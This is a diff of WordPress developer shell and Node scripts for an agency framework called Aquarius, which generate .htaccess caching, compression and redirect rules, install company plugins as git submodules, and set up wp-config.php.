echo ' ExpiresByType video/divx A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/msword A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-fontobject A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-msdownload A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/gif A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-gzip A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/x-icon A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/jpeg A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/json A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-access A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType audio/midi A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType video/quicktime A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType audio/mpeg A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType video/mp4 A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType video/mpeg A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-project A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-font-otf A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-opentype A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.database A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.chart A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.formula A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.graphics A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.presentation A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.spreadsheet A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.oasis.opendocument.text A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType audio/ogg A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/pdf A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/png A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-powerpoint A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType audio/x-realaudio A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/svg+xml A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-shockwave-flash A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-tar A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType image/tiff A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/x-font-ttf A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-opentype A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType audio/wav A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType audio/wma A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-write A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/font-woff A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/font-woff2 A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/vnd.ms-excel A31536000' >> "$DIR/.htaccess"
|
||||
echo ' ExpiresByType application/zip A31536000' >> "$DIR/.htaccess"
|
||||
echo '</IfModule>' >> "$DIR/.htaccess"
|
||||
|
||||
|
||||
#Add Gzip Compression
|
||||
echo '<IfModule mod_deflate.c>' >> "$DIR/.htaccess"
|
||||
echo ' # force deflate for mangled headers' >> "$DIR/.htaccess"
|
||||
echo ' # developer.yahoo.com/blogs/ydn/posts/2010/12/pushing-beyond-gzipping/' >> "$DIR/.htaccess"
|
||||
echo ' <IfModule mod_setenvif.c>' >> "$DIR/.htaccess"
|
||||
echo ' <IfModule mod_headers.c>' >> "$DIR/.htaccess"
|
||||
echo ' SetEnvIfNoCase ^(Accept-EncodXng|X-cept-Encoding|X{15}|~{15}|-{15})$ ^((gzip|deflate)\s*,?\s*)+|[X~-]{4,13}$ HAVE_Accept-Encoding' >> "$DIR/.htaccess"
|
||||
echo ' RequestHeader append Accept-Encoding "gzip,deflate" env=HAVE_Accept-Encoding' >> "$DIR/.htaccess"
|
||||
echo ' </IfModule>' >> "$DIR/.htaccess"
|
||||
echo ' </IfModule>' >> "$DIR/.htaccess"
|
||||
echo '' >> "$DIR/.htaccess"
|
||||
echo ' # HTML, TXT, CSS, JavaScript, JSON, XML, HTC:' >> "$DIR/.htaccess"
|
||||
echo ' <IfModule filter_module>' >> "$DIR/.htaccess"
|
||||
echo ' FilterDeclare COMPRESS' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $text/css' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $text/plain' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $text/xml' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $text/x-component' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/javascript' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/json' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/xml' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/xhtml+xml' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/rss+xml' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/atom+xml' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/vnd.ms-fontobject' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $image/svg+xml' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $application/x-font-ttf' >> "$DIR/.htaccess"
|
||||
echo ' FilterProvider COMPRESS DEFLATE resp=Content-Type $font/opentype' >> "$DIR/.htaccess"
|
||||
echo ' FilterChain COMPRESS' >> "$DIR/.htaccess"
|
||||
echo ' FilterProtocol COMPRESS DEFLATE change=yes;byteranges=no' >> "$DIR/.htaccess"
|
||||
echo ' </IfModule>' >> "$DIR/.htaccess"
|
||||
echo '' >> "$DIR/.htaccess"
|
||||
echo ' <IfModule !mod_filter.c>' >> "$DIR/.htaccess"
|
||||
echo ' # Legacy versions of Apache' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE text/html text/plain text/css application/json' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE application/javascript' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE text/xml application/xml text/x-component' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE application/xhtml+xml application/rss+xml ' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE application/atom+xml' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE image/svg+xml application/vnd.ms-fontobject ' >> "$DIR/.htaccess"
|
||||
echo ' AddOutputFilterByType DEFLATE application/x-font-ttf font/opentype' >> "$DIR/.htaccess"
|
||||
echo ' </IfModule>' >> "$DIR/.htaccess"
|
||||
echo '</IfModule>' >> "$DIR/.htaccess"
|
||||
fi
|
||||
|
||||
|
||||
echo '<IfModule mod_rewrite.c>' >> "$DIR/.htaccess"
|
||||
echo 'RewriteEngine On' >> "$DIR/.htaccess"
|
||||
echo 'RewriteBase /' >> "$DIR/.htaccess"
|
||||
if [ ! "$www" ]; then
|
||||
if [ "$defaults" == "true" ]; then
|
||||
www="without"
|
||||
echo -e "Default is to not use www"
|
||||
echo -e "To change, run with flag --with-www"
|
||||
echo -e "For more options, run with flag --help\n"
|
||||
else
|
||||
echo -e "Would you like the primary version of the site to use wwws? [y/N] \c"
|
||||
read input
|
||||
input=$(echo -e $input | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ $input != 'y' ]]; then
|
||||
www="without"
|
||||
else
|
||||
www="with"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
if [ ! "$domain" ]; then
|
||||
echo -e "Please enter the domain without wwws, http or trailing slash \c"
|
||||
read domain
|
||||
fi
|
||||
if [[ "$www" == "with" ]]; then
|
||||
echo "#Primary Site will have wwws" >> "$DIR/.htaccess"
|
||||
echo "RewriteCond %{HTTP_HOST} ^$domain [NC]" >> "$DIR/.htaccess"
|
||||
echo "RewriteRule ^(.*)$ http://www.$domain/\$1 [L,R=301,NC]" >> "$DIR/.htaccess"
|
||||
else
|
||||
echo "#Primary site will not have wwws" >> "$DIR/.htaccess"
|
||||
echo "RewriteCond %{HTTP_HOST} ^www.$domain [NC]" >> "$DIR/.htaccess"
|
||||
echo "RewriteRule ^(.*)$ http://$domain/\$1 [L,R=301]" >> "$DIR/.htaccess"
|
||||
fi
|
||||
|
||||
if [ ! "$uploads" ]; then
|
||||
if [ "$defaults" == "true" ]; then
|
||||
echo -e "By default, the uploads folder will be used as normal"
|
||||
echo -e "To change, run with flag uploads [url]"
|
||||
echo -e "For more options, run with flag --help\n"
|
||||
else
|
||||
echo "Aquarius Go now has the ability to redirect an uploads folder to a different"
|
||||
echo "This is usefull for dev sites or local copies of sites"
|
||||
echo "In order to use it, enter the url with the http(s):// and a trailing slash"
|
||||
echo "Don't enter anything if you want to use the default location"
|
||||
echo -e "URL: \c"
|
||||
read uploads
|
||||
fi
|
||||
fi
|
||||
if [ "$uploads" ]; then
|
||||
echo 'RewriteCond %{REQUEST_FILENAME} !-d' >> "$DIR/.htaccess"
|
||||
echo 'RewriteCond %{REQUEST_FILENAME} !-f' >> "$DIR/.htaccess"
|
||||
echo 'RewriteRule wp-content/uploads/(.*) \' >> "$DIR/.htaccess"
|
||||
echo " $uploads\$1 [NC,L]" >> "$DIR/.htaccess"
|
||||
fi
|
||||
echo 'RewriteRule ^index\.php$ - [L]' >> "$DIR/.htaccess"
|
||||
echo 'RewriteCond %{REQUEST_FILENAME} !-f' >> "$DIR/.htaccess"
|
||||
echo 'RewriteCond %{REQUEST_FILENAME} !-d' >> "$DIR/.htaccess"
|
||||
echo 'RewriteRule . /index.php [L]' >> "$DIR/.htaccess"
|
||||
echo '</IfModule>' >> "$DIR/.htaccess"
|
||||
|
209
bin/.bin/wordpress/aquarius-plugin
Executable file
209
bin/.bin/wordpress/aquarius-plugin
Executable file
|
@ -0,0 +1,209 @@
|
|||
#!/bin/bash
|
||||
|
||||
# default to adding plugins
|
||||
remove=false
|
||||
|
||||
# default to https plugins
|
||||
ssh=true
|
||||
|
||||
# Cd to public html foder
|
||||
cd ${PWD%/public_html*}/public_html
|
||||
|
||||
function doWebpack(){
|
||||
line="$1:\t{path: path.resolve(plugins,'aquarius-$1')},"
|
||||
sed -i "/const aquariusPlugins/a $line" webpack/variables.js
|
||||
}
|
||||
|
||||
# Loop through arguments passed
|
||||
while test $# -gt 0; do
|
||||
case "$1" in
|
||||
-h|--help)
|
||||
#Print help message
|
||||
echo -e "Aquarius Plugin installer"
|
||||
echo -e "Adds submodules for commonly used plugins"
|
||||
echo -e "You can string multiple plugins together"
|
||||
echo -e "e.g. aquarius-plugin blocks clients"
|
||||
echo ""
|
||||
echo -e "-h, --help \t\t\t\t Show this help text"
|
||||
echo -e "-r, --remove \t\t\t\t Remove any plugins after this flag"
|
||||
echo -e "-s, --ssh \t\t\t\t Adds the ssh version for the submodule url"
|
||||
echo ""
|
||||
echo -e "blocks, aquarius-blocks \t\t install aquarius blocks"
|
||||
echo -e "clients, aquarius-clients \t\t install aquarius clients"
|
||||
echo -e "locations, aquarius-locations \t\t install aquarius locations"
|
||||
echo -e "news, aquarius-news \t\t\t install aquarius news"
|
||||
echo -e "people, aquarius-people \t\t install aquarius people"
|
||||
echo -e "permissions, aquarius-permissions \t install aquarius permissions into mu-plugins"
|
||||
echo -e "slider, aquarius-slider \t\t install aquarius slider"
|
||||
echo -e "snippets, aquarius-snippets \t\t install aquarius snippets"
|
||||
echo -e "widgets, aquarius-widgets \t\t install aquarius widgets"
|
||||
exit 0
|
||||
;;
|
||||
-r|--remove)
|
||||
#start removing
|
||||
remove=true
|
||||
shift
|
||||
;;
|
||||
-s|--ssh)
|
||||
ssh=true
|
||||
shift
|
||||
;;
|
||||
--no-ssh)
|
||||
ssh=false
|
||||
shift
|
||||
;;
|
||||
aquarius-blocks|blocks)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-blocks
|
||||
git-delete-submodule "wp-content/plugins/aquarius-blocks"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-blocks.git wp-content/plugins/aquarius-blocks
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-blocks.git wp-content/plugins/aquarius-blocks
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-blocks
|
||||
doWebpack blocks
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-clients|clients)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-clients
|
||||
git-delete-submodule "wp-content/plugins/aquarius-clients"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-clients.git wp-content/plugins/aquarius-clients
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-clients.git wp-content/plugins/aquarius-clients
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-clients
|
||||
doWebpack clients
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-locations|locations)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-locations
|
||||
git-delete-submodule "wp-content/plugins/aquarius-locations"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-locations.git wp-content/plugins/aquarius-locations
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-locations.git wp-content/plugins/aquarius-locations
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-locations
|
||||
doWebpack locations
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-news|news)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-news
|
||||
git-delete-submodule "wp-content/plugins/aquarius-news"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-news.git wp-content/plugins/aquarius-news
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-news.git wp-content/plugins/aquarius-news
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-news
|
||||
doWebpack news
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-people|people)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-people
|
||||
git-delete-submodule "wp-content/plugins/aquarius-people"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-people.git wp-content/plugins/aquarius-people
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-people.git wp-content/plugins/aquarius-people
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-people
|
||||
doWebpack people
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-permissions|permissions)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/mu-plugins/aquarius-permissions
|
||||
git-delete-submodule "wp-content/mu-plugins/aquarius-permissions"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-permissions.git wp-content/mu-plugins/aquarius-permissions
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-permissions.git wp-content/mu-plugins/aquarius-permissions
|
||||
fi
|
||||
npm install --save wp-content/mu-plugins/aquarius-permissions
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-projects|projects)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-slider
|
||||
git-delete-submodule "wp-content/plugins/aquarius-projects"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-projects.git wp-content/plugins/aquarius-projects
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-projects.git wp-content/plugins/aquarius-projects
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-projects
|
||||
doWebpack projects
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-slider|slider)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-slider
|
||||
git-delete-submodule "wp-content/plugins/aquarius-slider"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-slider.git wp-content/plugins/aquarius-slider
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-slider.git wp-content/plugins/aquarius-slider
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-slider
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-snippets|snippets)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-snippets
|
||||
git-delete-submodule "wp-content/plugins/aquarius-snippets"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-snippets.git wp-content/plugins/aquarius-snippets
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-snippets.git wp-content/plugins/aquarius-snippets
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-snippets
|
||||
doWebpack snippets
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
aquarius-widgets|widgets)
|
||||
if [ "$remove" = true ]; then
|
||||
npm remove wp-content/plugins/aquarius-widgets
|
||||
git-delete-submodule "wp-content/plugins/aquarius-widgets"
|
||||
else
|
||||
if [ "$ssh" = true ]; then
|
||||
git submodule add git@bitbucket.org:fellowshipproductionsltd/aquarius-widgets.git wp-content/plugins/aquarius-widgets
|
||||
else
|
||||
git submodule add https://bitbucket.org/fellowshipproductionsltd/aquarius-widgets.git wp-content/plugins/aquarius-widgets
|
||||
fi
|
||||
npm install --save wp-content/plugins/aquarius-widgets
|
||||
doWebpack widgets
|
||||
fi
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
echo "Unknown plugin $1"
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
done
|
247
bin/.bin/wordpress/aquarius-redirects
Executable file
247
bin/.bin/wordpress/aquarius-redirects
Executable file
|
@ -0,0 +1,247 @@
|
|||
#!/usr/bin/node
|
||||
|
||||
let fs = require('fs'),
|
||||
path = require('path'),
|
||||
args = process.argv.slice(2),
|
||||
input = "-", // - will reperesent stdin
|
||||
output = "-", // - will represent stdout
|
||||
delimiter = ",";
|
||||
let Reset = "\x1b[0m",
|
||||
Bright = "\x1b[1m",
|
||||
Dim = "\x1b[2m",
|
||||
Underscore = "\x1b[4m",
|
||||
Blink = "\x1b[5m",
|
||||
Reverse = "\x1b[7m",
|
||||
Hidden = "\x1b[8m",
|
||||
|
||||
FgBlack = "\x1b[30m",
|
||||
FgRed = "\x1b[31m",
|
||||
FgGreen = "\x1b[32m",
|
||||
FgYellow = "\x1b[33m",
|
||||
FgBlue = "\x1b[34m",
|
||||
FgMagenta = "\x1b[35m",
|
||||
FgCyan = "\x1b[36m",
|
||||
FgWhite = "\x1b[37m",
|
||||
|
||||
BgBlack = "\x1b[40m",
|
||||
BgRed = "\x1b[41m",
|
||||
BgGreen = "\x1b[42m",
|
||||
BgYellow = "\x1b[43m",
|
||||
BgBlue = "\x1b[44m",
|
||||
BgMagenta = "\x1b[45m",
|
||||
BgCyan = "\x1b[46m",
|
||||
BgWhite = "\x1b[47m";
|
||||
|
||||
if( args[0] == "-h" || args[0] == "--help" ){
|
||||
console.log(FgGreen + "Aquarius Redirects (beta)" + Reset);
|
||||
console.log();
|
||||
console.log("This takes a csv file from stdinput or a given filename as the first parameter");
|
||||
console.log();
|
||||
console.log(FgGreen + "Example:" + Reset);
|
||||
console.log("aquarius-redirects test.csv \t\t\t This will take each line of a csv file and turn it into a redirect");
|
||||
console.log("cat test.csv | aquarius-redirects\t\t This is equivilent to the above");
|
||||
console.log("echo \"/test/, /test-2/\" | aquarius-redirects\t This will create a redirect from /test/ to /test-2/");
|
||||
console.log();
|
||||
console.log();
|
||||
console.log();
|
||||
console.log(FgGreen + "The CSV File" + Reset);
|
||||
console.log();
|
||||
console.log("Each row in the CSV file should respond to a redirect.");
|
||||
console.log("\t 1. From URL");
|
||||
console.log("\t 2. To URL");
|
||||
console.log("\t 3. Redirect Type");
|
||||
console.log("\t 4. Exact ");
|
||||
console.log();
|
||||
console.log(FgGreen + "E.g." + Reset);
|
||||
console.log("/page-1/ | /page-2/ | | ");
|
||||
console.log("/about-us/meet-the-team/ | /meet-the-team/ | | ");
|
||||
console.log("/about-us/meet-the-team/*/ | /meet-the-team/*/ | | true ");
|
||||
console.log("//google.com/page-1/ | /page-2/ | | ");
|
||||
console.log("//google.com/page-1/ | //google.co.uk/page-2/ | 302 | true ");
|
||||
console.log("//google.com/*/ | //google.co.uk/*/ | | ");
|
||||
console.log();
|
||||
console.log(FgGreen + "From URL" + Reset);
|
||||
console.log("This is the URL that should be redirected away from");
|
||||
console.log("It can optionally contain a * symbol do denote a wildcard expresion");
|
||||
console.log("For exmaple, /about-us/*/ will redirect from any child page of /about-us/");
|
||||
console.log("");
|
||||
console.log(FgGreen + "To URL" + Reset);
|
||||
console.log("This is the URL that should be redirected to");
|
||||
console.log("It can optionally contain an * symbol if you contained one in the From URL");
|
||||
console.log("For exmaple, /about-us/*/ in From and /about/*/ in To will redirect all child pages of about us to the corresponding page under about");
|
||||
console.log("");
|
||||
console.log(FgGreen + "Redirect Type" + Reset);
|
||||
console.log("This is the redirect type");
|
||||
console.log("This is optional and contains the responce code that will be sent with the redirection request.");
|
||||
console.log("The default is 301 which is a permenant redirect. You might want to make this 302 which implies a temporary redirect");
|
||||
console.log("");
|
||||
console.log(FgGreen + "Exact" + Reset);
|
||||
console.log("This denotes whether the trailing slash should be optional on the from URL");
|
||||
console.log("This defualts to false");
|
||||
console.log("If true, the From url /about-us != /about-us/ ");
|
||||
|
||||
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
if(args[0] != undefined && args[0] != ""){
|
||||
input = args[0];
|
||||
}
|
||||
|
||||
if(input == "-" ) { // We are reading from stdin
|
||||
process.stdin.setEncoding('utf-8');
|
||||
let contents = "";
|
||||
process.stdin.on("readable", () => {
|
||||
let back = process.stdin.read();
|
||||
if (back != null){
|
||||
contents = contents + back;
|
||||
}
|
||||
});
|
||||
process.stdin.on("end", () => {
|
||||
doRedirects(contents);
|
||||
});
|
||||
//console.error("I haven't implemented stdin yet");
|
||||
//process.exit(1);
|
||||
} else {
|
||||
|
||||
fs.readFile(input, {encoding: 'utf-8'}, function(err,data){
|
||||
if (!err) {
|
||||
doRedirects(data)
|
||||
} else {
|
||||
console.log(err);
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function doRedirects(data){
|
||||
let lines = data.split("\n");
|
||||
for (let i = 0; i < lines.length; i++){
|
||||
lines[i] = lines[i].split(",");
|
||||
for (let j = 0; j < lines[i].length; j++){
|
||||
lines[i][j] = lines[i][j].replace(/^\s*/g,"");
|
||||
lines[i][j] = lines[i][j].replace(/\s*$/g,"");
|
||||
}
|
||||
if (lines[i].length > 1){
|
||||
let from = lines[i][0],
|
||||
to = lines[i][1],
|
||||
type = lines[i][2] || 301,
|
||||
exact = lines[i][3] || false;
|
||||
if( from == to ){
|
||||
process.stdout.write("### No need to redirect " + from + "to itself ###\n\n");
|
||||
continue;
|
||||
}
|
||||
let redirect = individualRedirect(from,to,type,exact);
|
||||
process.stdout.write("###Redirect from "+from+" to "+to+"###\n");
|
||||
process.stdout.write(redirect+"\n");
|
||||
process.stdout.write("\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function individualRedirect(from, to, type, exact){
|
||||
var ret = "";
|
||||
if(!from){
|
||||
throw new Error( "You must have a from url" );
|
||||
}
|
||||
if(!to){
|
||||
throw new Error( "You must have a to url" );
|
||||
}
|
||||
if(!type){
|
||||
type = 301;
|
||||
}
|
||||
if(!exact){
|
||||
exact = false;
|
||||
}
|
||||
if(typeof exact == "string" && exact.toLowerCase() != "true"){
|
||||
exact = false;
|
||||
}
|
||||
from = splitURL_(from);
|
||||
if(from.domain != ""){
|
||||
ret += "RewriteCond %{HTTP_HOST} ^" + escape_(from.domain) + "$\n";
|
||||
}
|
||||
for (var i in from.queries){
|
||||
ret += "RewriteCond %{QUERY_STRING} (^|&)" + i + ((from.queries[i] !== undefined)?("\=" + from.queries[i]):"") + "($|&)\n";
|
||||
}
|
||||
ret += "RewriteRule " + doFrom_(from.path,exact) + " " + doTo_(to) + " " + doRewrite_(type);
|
||||
return ret;
|
||||
}
|
||||
|
||||
function doFrom_(from,exact){
|
||||
if(from[0]=="/"){
|
||||
from = "^" + from.substring(1,from.length);
|
||||
}
|
||||
if(!exact){
|
||||
if(from[from.length-1]=="/"){
|
||||
from = from+"?";
|
||||
} else {
|
||||
from = from + "\/?";
|
||||
}
|
||||
}
|
||||
from = escape_(from);
|
||||
return from + "$";
|
||||
}
|
||||
|
||||
function escape_(url){
|
||||
return url.replace(/\//g,"\\\/")
|
||||
.replace(/\-/g,"\\\-")
|
||||
.replace(/\./g,"\\\.")
|
||||
.replace(/\*/g,"(.*?)");
|
||||
}
|
||||
|
||||
function doTo_(to){
|
||||
if(to[0]!="/" && to.indexOf("//")==-1){
|
||||
to = "/"+to;
|
||||
}
|
||||
to = to.replace(/\*/g,"$1");
|
||||
if(to.indexOf(" ") != -1){
|
||||
to = '"' + to + '"';
|
||||
}
|
||||
return to;
|
||||
}
|
||||
|
||||
function doRewrite_(type){
|
||||
return "[L,R="+type+"]";
|
||||
}
|
||||
|
||||
function splitURL_(url){
|
||||
ret = {
|
||||
protocol:"",
|
||||
domain:"",
|
||||
path:"",
|
||||
queries:{}
|
||||
};
|
||||
|
||||
var p=url.indexOf("//");
|
||||
if(p!=-1){
|
||||
//Gets the protocol
|
||||
ret.protocol = url.substring(0,p-1);
|
||||
//Removes up to and including the protocol
|
||||
url = url.substring(p+2)
|
||||
|
||||
var d = url.indexOf("/");
|
||||
if(d!=-1){
|
||||
//gets the domain
|
||||
ret.domain = url.substring(0,d);
|
||||
url=url.substring(d);
|
||||
} else {
|
||||
ret.domain = url;
|
||||
url = "";
|
||||
}
|
||||
}
|
||||
|
||||
var q=url.indexOf("?");
|
||||
if(q!=-1){
|
||||
queries = url.substring(q+1).split("&");
|
||||
for (var i = 0; i<queries.length; i++){
|
||||
ret.queries[queries[i].split("=")[0]] = queries[i].split("=")[1];
|
||||
}
|
||||
|
||||
url = url.substring(0,q);
|
||||
}
|
||||
|
||||
ret.path=url;
|
||||
|
||||
|
||||
return ret;
|
||||
}
|
82
bin/.bin/wordpress/aquarius-wpconfig
Executable file
82
bin/.bin/wordpress/aquarius-wpconfig
Executable file
|
@ -0,0 +1,82 @@
|
|||
#!/bin/bash
|
||||
|
||||
DIR="$PWD"
|
||||
|
||||
#Defaults
|
||||
if [ -f "$DIR/wp-config.php" ]; then
|
||||
echo -e "The file wp-config.php already exists."
|
||||
echo -e "What do you want to do? [ b=Create Backup | o=Overwrite | a=Abort] \c"
|
||||
read choice
|
||||
choice=$(echo -e $choice | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ "$choice" == "b" ]]; then
|
||||
name="wp-config.php.backup$(date +'%y:%m:%d:%T')"
|
||||
mv "$DIR/wp-config.php" "$DIR/$name"
|
||||
echo -e "Would you like to add this new file to .gitignore? [Y/n] \c"
|
||||
read input
|
||||
input=$(echo -e $input | tr '[:upper:]' '[:lower:]' | head -c 1)
|
||||
if [[ $input != 'n' ]];then
|
||||
echo "$name" >> .gitignore
|
||||
fi
|
||||
|
||||
fi
|
||||
if [[ "$choice" == "a" ]]; then
|
||||
echo -e "Aborted by user"
|
||||
return 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ ! -f "$DIR/wp-config-sample.php" ]; then
|
||||
echo "File not found!"
|
||||
echo "Downloading sample"
|
||||
curl "https://raw.githubusercontent.com/WordPress/WordPress/master/wp-config-sample.php" -o wp-config.php
|
||||
fi
|
||||
|
||||
